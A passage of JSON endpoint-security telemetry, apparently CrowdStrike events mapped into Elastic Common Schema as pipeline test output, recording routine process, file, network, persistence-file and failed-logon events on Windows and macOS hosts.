"8a0a29438052faed8a2532da50455756", - "ParentAuthenticationId": "999", - "ProcessCreateFlags": "525324", - "ProcessParameterFlags": "8193", - "ProcessSxsFlags": "64", - "SHA256HashData": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", - "SessionId": "0", - "SourceProcessId": "2881931477041", - "SourceThreadId": "70316664105336", - "Tags": [ - "27", - "29", - "53", - "54", - "55", - "185", - "10445360464024", - "10445360464025", - "10445360464026", - "10445360464258", - "10445360464273", - "10445360464274", - "12094627905582", - "12094627906234", - "211655988347297" - ], - "TokenType": "2", - "WindowFlags": "128", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b", - "name": "ProcessRollup2V16" - }, - "device": { - "id": "ffffffffbe8a46386afe80c5ef64d0b5" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2020-11-08T17:07:17.946Z", - "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b|ffffffffbe8a46386afe80c5ef64d0b5|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\System32\\\\svchost.exe -k netsvcs -p -s NetSetupSvc\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"4193986770\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"8a0a29438052faed8a2532da50455756\",\"ParentAuthenticationId\":\"999\",\"ParentProcessId\":\"2881931477041\",\"ProcessCreateFlags\":\"525324\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"8193\",\"ProcessStartTime\":\"1604842733.215\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6160\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6\",\"SessionId\":\"0\",\"SourceProcessId\":\"2881931477041\",\"SourceThreadId\":\"70316664105336\",\"Tags\":\"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297\",\"TargetProcessId\":\"2882232404222\",\"TokenType\":\"2\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"128\",\"aid\":\"ffffffffbe8a46386afe80c5ef64d0b5\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-b4f9-06e3a7e5503b\",\"name\":\"ProcessRollup2V16\",\"timestamp\":\"1604855237946\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffffbe8a46386afe80c5ef64d0b5", - "os": { - "type": "windows" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffbe8a46386afe80c5ef64d0b5", - "version": "1007.3.0010609.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "SYSTEM" - } - }, - "args": [ - "C:\\WINDOWS\\System32\\svchost.exe", - "-k", - "netsvcs", - "-p", - "-s", - "NetSetupSvc" - ], - "args_count": 6, - "command_line": "C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc", - "entity_id": "2882232404222", - "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe", - "hash": { - "md5": "8a0a29438052faed8a2532da50455756", - "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6" - }, - "name": "svchost.exe", - "parent": { - "entity_id": "2881931477041" - }, - "pid": 6160, - "start": "2020-11-08T13:38:53.215Z" - }, - "related": { - "hash": [ - "8a0a29438052faed8a2532da50455756", - "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", - "4193986770" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "S-1-5-18" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-18" - } - }, - { - "@timestamp": "2020-11-08T17:07:22.091Z", - "crowdstrike": { - "ConfigStateHash": "1763245019", - "ContextProcessId": "1016182570608", - "ContextTimeStamp": "2020-11-08T09:58:32.519Z", - "DesiredAccess": "1179785", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileAttributes": "0", - "FileObject": "18446670458156489088", - "Information": "1", - "IrpFlags": "2180", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "16777312", - "ShareAccess": "5", - "Status": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9756-06fe7f8f682f", - "name": "RansomwareOpenFileV4" - }, - "device": { - "id": "ffffffffac4148947ed68497e89f3308" - }, - "event": { - "action": "RansomwareOpenFile", - "category": [ - "file" - ], - "created": "2020-11-08T17:07:22.091Z", - "id": "ffffffff-1111-11eb-9756-06fe7f8f682f|ffffffffac4148947ed68497e89f3308|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"1016182570608\",\"ContextThreadId\":\"37343520154472\",\"ContextTimeStamp\":\"1604829512.519\",\"DesiredAccess\":\"1179785\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00\",\"FileObject\":\"18446670458156489088\",\"Information\":\"1\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"16777312\",\"ShareAccess\":\"5\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user11\\\\Downloads\\\\file.pptx\",\"aid\":\"ffffffffac4148947ed68497e89f3308\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RansomwareOpenFile\",\"id\":\"ffffffff-1111-11eb-9756-06fe7f8f682f\",\"name\":\"RansomwareOpenFileV4\",\"timestamp\":\"1604855242091\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads", - "extension": "pptx", - "inode": "7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00", - "name": "file.pptx", - "path": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx", - "type": "file" - }, - "host": { - "id": "ffffffffac4148947ed68497e89f3308", - "os": { - "type": "windows" - } - }, - "message": "RansomwareOpenFile", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffac4148947ed68497e89f3308", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1016182570608", - "thread": { - "id": 37343520154472 - } - }, - "related": { - "hash": [ - "1763245019" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:07:56.657Z", - "crowdstrike": { - "AllocateVirtualMemoryCount": 0, - "ArchiveFileWrittenCount": 0, - "AsepWrittenCount": 0, - "BinaryExecutableWrittenCount": 0, - "CLICreationCount": 0, - "ConHostId": "13532", - "ConHostProcessId": "1731198143955", - "ConfigStateHash": "2030177841", - "ContextProcessId": "1741732942772", - "ContextTimeStamp": "2020-11-08T17:07:54.377Z", - "CycleTime": 473618996, - "DirectoryCreatedCount": 0, - "DirectoryEnumeratedCount": 0, - "DnsRequestCount": 0, - "DocumentFileWrittenCount": 0, - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ExeAndServiceCount": 0, - "ExecutableDeletedCount": 0, - "FileDeletedCount": 0, - "GenericFileWrittenCount": 0, - "ImageSubsystem": "2", - "InjectedDllCount": 0, - "InjectedThreadCount": 0, - "KernelTime": 1406250, - "MaxThreadCount": 16, - "ModuleLoadCount": 72, - "NetworkBindCount": 0, - "NetworkCapableAsepWriteCount": 0, - "NetworkCloseCount": 0, - "NetworkConnectCount": 0, - "NetworkConnectCountUdp": 0, - "NetworkListenCount": 0, - "NetworkModuleLoadCount": 0, - "NetworkRecvAcceptCount": 0, - "NewExecutableWrittenCount": 0, - "PrivilegedProcessHandleCount": 0, - "ProtectVirtualMemoryCount": 0, - "QueueApcCount": 0, - "RegKeySecurityDecreasedCount": 0, - "RemovableDiskFileWrittenCount": 0, - "RunDllInvocationCount": 0, - "SHA256HashData": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f", - "ScreenshotsTakenCount": 0, - "ScriptEngineInvocationCount": 0, - "ServiceEventCount": 0, - "SetThreadContextCount": 0, - "SnapshotFileOpenCount": 0, - "SuspectStackCount": 0, - "SuspiciousCredentialModuleLoadCount": 0, - "SuspiciousDnsRequestCount": 0, - "SuspiciousFontLoadCount": 0, - "SuspiciousRawDiskReadCount": 0, - "UnsignedModuleLoadCount": 0, - "UserMemoryAllocateExecutableCount": 0, - "UserMemoryAllocateExecutableRemoteCount": 0, - "UserMemoryProtectExecutableCount": 0, - "UserMemoryProtectExecutableRemoteCount": 0, - "UserTime": 781250, - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b685-0241eaddc553", - "name": "EndOfProcessV14" - }, - "device": { - "id": "fffffffffdab492a5a20cd0417395a73" - }, - "event": { - "action": "EndOfProcess", - "category": [ - "process" - ], - "created": "2020-11-08T17:07:56.657Z", - "id": "ffffffff-1111-11eb-b685-0241eaddc553|fffffffffdab492a5a20cd0417395a73|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"13532\",\"ConHostProcessId\":\"1731198143955\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"2030177841\",\"ContextData\":\"\",\"ContextProcessId\":\"1741732942772\",\"ContextThreadId\":\"28523520529271\",\"ContextTimeStamp\":\"1604855274.377\",\"CycleTime\":\"473618996\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"0\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"0\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"2\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"1406250\",\"MaxThreadCount\":\"16\",\"ModuleLoadCount\":\"72\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"1731198143955\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855154.465\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"18176\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"1741732942772\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-12-1-1647509123-1308660782-3901357462-3999411581\",\"UserTime\":\"781250\",\"aid\":\"fffffffffdab492a5a20cd0417395a73\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-b685-0241eaddc553\",\"name\":\"EndOfProcessV14\",\"timestamp\":\"1604855276657\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "fffffffffdab492a5a20cd0417395a73", - "os": { - "type": "windows" - } - }, - "message": "EndOfProcess", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "fffffffffdab492a5a20cd0417395a73", - "version": "1007.3.0010609.1" - }, - "process": { - "entity_id": "1741732942772", - "exit_code": 0, - "hash": { - "sha256": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f" - }, - "parent": { - "entity_id": "1731198143955" - }, - "pid": 18176, - "start": "2020-11-08T17:05:54.465Z", - "thread": { - "id": 28523520529271 - } - }, - "related": { - "hash": [ - "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f", - "2030177841" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "S-1-12-1-1647509123-1308660782-3901357462-3999411581" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-12-1-1647509123-1308660782-3901357462-3999411581" - } - }, - { - "@timestamp": "2020-11-08T17:08:49.571Z", - "crowdstrike": { - "AuthenticationId": "895027", - "ConfigStateHash": "3338885535", - "ContextProcessId": "1786917081743", - "ContextTimeStamp": "2020-11-08T17:08:37.892Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileEcpBitmask": "0", - "FileObject": "18446636933702558240", - "IrpFlags": "1028", - "IsOnNetwork": "1", - "IsOnRemovableDisk": "0", - "MajorFunction": "18", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9165-067ee18a7975", - "name": "OoxmlFileWrittenV11" - }, - "device": { - "id": "fffffffffa474d216472f3edb73c75ed" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2020-11-08T17:08:49.571Z", - "id": "ffffffff-1111-11eb-9165-067ee18a7975|fffffffffa474d216472f3edb73c75ed|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"895027\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1786917081743\",\"ContextThreadId\":\"31685015444484\",\"ContextTimeStamp\":\"1604855317.892\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"0000000000000000be341bb58bc5f1f2a24339010200510e\",\"FileObject\":\"18446636933702558240\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"1\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"223989\",\"TargetFileName\":\"\\\\Device\\\\Mup\\\\intranet.dev\\\\int\\\\Test.pptx\",\"TokenType\":\"1\",\"aid\":\"fffffffffa474d216472f3edb73c75ed\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"OoxmlFileWritten\",\"id\":\"ffffffff-1111-11eb-9165-067ee18a7975\",\"name\":\"OoxmlFileWrittenV11\",\"timestamp\":\"1604855329571\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\Device\\Mup\\intranet.dev\\int", - "extension": "pptx", - "inode": "0000000000000000be341bb58bc5f1f2a24339010200510e", - "name": "Test.pptx", - "path": "\\Device\\Mup\\intranet.dev\\int\\Test.pptx", - "size": 223989, - "type": "file" - }, - "host": { - "id": "fffffffffa474d216472f3edb73c75ed", - "os": { - "type": "windows" - } - }, - "message": "OoxmlFileWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "fffffffffa474d216472f3edb73c75ed", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1786917081743", - "thread": { - "id": 31685015444484 - } - }, - "related": { - "hash": [ - "3338885535" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:09:11.798Z", - "crowdstrike": { - "ConfigStateHash": "3765958535", - "ConnectionFlags": "0", - "ContextProcessId": "439029805661", - "ContextTimeStamp": "2020-11-08T17:09:11.158Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-85f5-02ab029194b9", - "name": "NetworkListenIP6V5" - }, - "destination": { - "address": "0:0:0:0:0:0:0:0", - "ip": "0:0:0:0:0:0:0:0", - "port": 0 - }, - "device": { - "id": "ffffffff1f924e228a807ea4c0f21b0b" - }, - "event": { - "action": "NetworkListenIP6", - "category": [ - "network" - ], - "created": "2020-11-08T17:09:11.798Z", - "id": "ffffffff-1111-11eb-85f5-02ab029194b9|ffffffff1f924e228a807ea4c0f21b0b|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"439029805661\",\"ContextThreadId\":\"273683743193497\",\"ContextTimeStamp\":\"1604855351.158\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"50373\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffff1f924e228a807ea4c0f21b0b\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-85f5-02ab029194b9\",\"name\":\"NetworkListenIP6V5\",\"timestamp\":\"1604855351798\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff1f924e228a807ea4c0f21b0b", - "os": { - "type": "windows" - } - }, - "message": "NetworkListenIP6", - "network": { - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff1f924e228a807ea4c0f21b0b", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "439029805661", - "thread": { - "id": 273683743193497 - } - }, - "related": { - "hash": [ - "3765958535" - ], - "ip": [ - "67.43.156.14", - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "0:0:0:0:0:0:0:0" - ] - }, - "source": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "port": 50373 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:09:15.495Z", - "crowdstrike": { - "ConfigStateHash": "1457965279", - "ContextProcessId": "321365562189152025", - "ContextTimeStamp": "2020-11-08T14:34:30.744Z", - "Entitlements": "15", - "SHA256HashData": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d", - "VnodeModificationType": "10", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b", - "name": "AsepFileChangeMacV2" - }, - "device": { - "id": "ffffffff1f32487185fcde66a9dc0528" - }, - "event": { - "action": "AsepFileChange", - "category": [ - "file" - ], - "created": "2020-11-08T17:09:15.495Z", - "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"ContextProcessId\":\"321365562189152025\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604846070.744\",\"Entitlements\":\"15\",\"SHA256HashData\":\"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d\",\"Size\":\"29646\",\"TargetFileName\":\"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc\",\"VnodeModificationType\":\"10\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"AsepFileChange\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"AsepFileChangeMacV2\",\"timestamp\":\"1604855355495\"}", - "outcome": "success", - "type": [ - "creation", - "change" - ] - }, - "file": { - "directory": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork", - "hash": { - "sha256": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d" - }, - "name": "rsrc", - "path": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc", - "size": 29646, - "type": "file" - }, - "host": { - "id": "ffffffff1f32487185fcde66a9dc0528", - "os": { - "type": "macos" - } - }, - "message": "AsepFileChange", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff1f32487185fcde66a9dc0528", - "version": "1007.4.0011104.1" - }, - "process": { - "entity_id": "321365562189152025", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d", - "1457965279" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:33.422Z", - "crowdstrike": { - "ConfigStateHash": "3011122681", - "ContextProcessId": "2932136", - "ContextTimeStamp": "2020-11-08T17:06:31.803Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "UserLogonFlags": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-aa5a-0207e26418af", - "name": "UserLogonFailedV1" - }, - "device": { - "id": "ffffffffa5bd4efaa195a7132c576edc" - }, - "event": { - "action": "UserLogonFailed", - "category": [ - "authentication" - ], - "created": "2020-11-08T17:06:33.422Z", - "id": "ffffffff-1111-11eb-aa5a-0207e26418af|ffffffffa5bd4efaa195a7132c576edc|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"2932136\",\"ContextThreadId\":\"36157339485804\",\"ContextTimeStamp\":\"1604855191.803\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonTime\":\"\",\"PasswordLastSet\":\"\",\"UserLogonFlags\":\"1\",\"UserName\":\"user7\",\"UserSid\":\"S-1-5-10\",\"aid\":\"ffffffffa5bd4efaa195a7132c576edc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed\",\"id\":\"ffffffff-1111-11eb-aa5a-0207e26418af\",\"name\":\"UserLogonFailedV1\",\"timestamp\":\"1604855193422\"}", - "outcome": "failure", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffffa5bd4efaa195a7132c576edc", - "os": { - "type": "windows" - } - }, - "message": "UserLogonFailed", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffa5bd4efaa195a7132c576edc", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "2932136", - "thread": { - "id": 36157339485804 - } - }, - "related": { - "hash": [ - "3011122681" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user7", - "S-1-5-10" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-10", - "name": "user7" - } - }, - { - "@timestamp": "2020-11-08T17:06:39.798Z", - "crowdstrike": { - "ConfigStateHash": "1858880895", - "ConnectionFlags": "0", - "ContextProcessId": "56042872298", - "ContextTimeStamp": "2020-11-08T17:05:36.669Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-a889-061944805289", - "name": "NetworkConnectIP6V5" - }, - "destination": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "port": 443 - }, - "device": { - "id": "ffffffff6854438eb4181691ec47e43d" - }, - "event": { - "action": "NetworkConnectIP6", - "category": [ - "network" - ], - "created": "2020-11-08T17:06:39.798Z", - "id": "ffffffff-1111-11eb-a889-061944805289|ffffffff6854438eb4181691ec47e43d|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1858880895\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"56042872298\",\"ContextTimeStamp\":\"1604855136.669\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"49689\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemotePort\":\"443\",\"aid\":\"ffffffff6854438eb4181691ec47e43d\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-a889-061944805289\",\"name\":\"NetworkConnectIP6V5\",\"timestamp\":\"1604855199798\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffff6854438eb4181691ec47e43d", - "os": { - "type": "windows" - } - }, - "message": "NetworkConnectIP6", - "network": { - "community_id": "1:H+oCOL0YBAZDUBNuLG0b/Xuke3g=", - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff6854438eb4181691ec47e43d", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "56042872298" - }, - "related": { - "hash": [ - "1858880895" - ], - "ip": [ - "67.43.156.14", - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ] - }, - "source": { - "address": 